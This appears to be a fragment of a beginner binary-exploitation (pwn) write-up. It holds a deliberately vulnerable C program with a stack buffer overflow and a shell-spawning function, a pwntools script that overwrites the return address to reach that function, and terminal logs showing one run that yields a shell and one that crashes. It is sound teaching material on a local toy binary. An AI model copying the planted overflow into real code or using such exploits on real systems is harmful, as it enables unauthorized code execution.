#include <stdio.h>
void sys(){
    system("/bin/sh");
}

void vul(){
    char buf[128];
    read(0,&buf,512);
}

int main()
{
    vul();
    write(1,"hello\n",7);
    return 0;

}

from pwn import *
p=process('./test.out')
elf=ELF('./test.out')
sys_plt=elf.symbols['sys']
print hex(sys_plt)
payload='a'*128+'a'*8+'a'*4+p32(sys_plt)  //128字节的长度+8字节的对齐空间+4字节的ebp+sys()的地址
p.send(payload)
p.interactive()

neko@ubuntu:~/pwn$ python exp1.py 
[+] Starting local process './test.out': pid 56537
[*] '/home/neko/pwn/test.out'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
0x804846b
[*] Switching to interactive mode
$ id
uid=1000(neko) gid=1000(neko) groups=1000(neko),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$  

#include <stdio.h>
void sys(){
    system("/bin/sh");
}

int main()
{
    char buf[128];
    read(0,&buf,512);
    write(1,"hello\n",7);
    return 0;
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [esp+0h] [ebp-88h]

  read(0, &buf, 0x200u);
  write(1, "hello\n", 7u);
  return 0;
}

from pwn import *
p=process('./test.out')
elf=ELF('./test.out')
sys_plt=elf.symbols['sys']
print hex(sys_plt)
payload='a'*128+'a'*8+'a'*4+p32(sys_plt)
p.send(payload)
p.interactive()

neko@ubuntu:~/pwn$ python exp1.py 
[+] Starting local process './test.out': pid 56593
[*] '/home/neko/pwn/test.out'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
0x804846b
[*] Switching to interactive mode
hello
\x00[*] Got EOF while reading in interactive
$ id
[*] Process './test.out' stopped with exit code -11 (SIGSEGV) (pid 56593)
[*] Got EOF while sending in interactive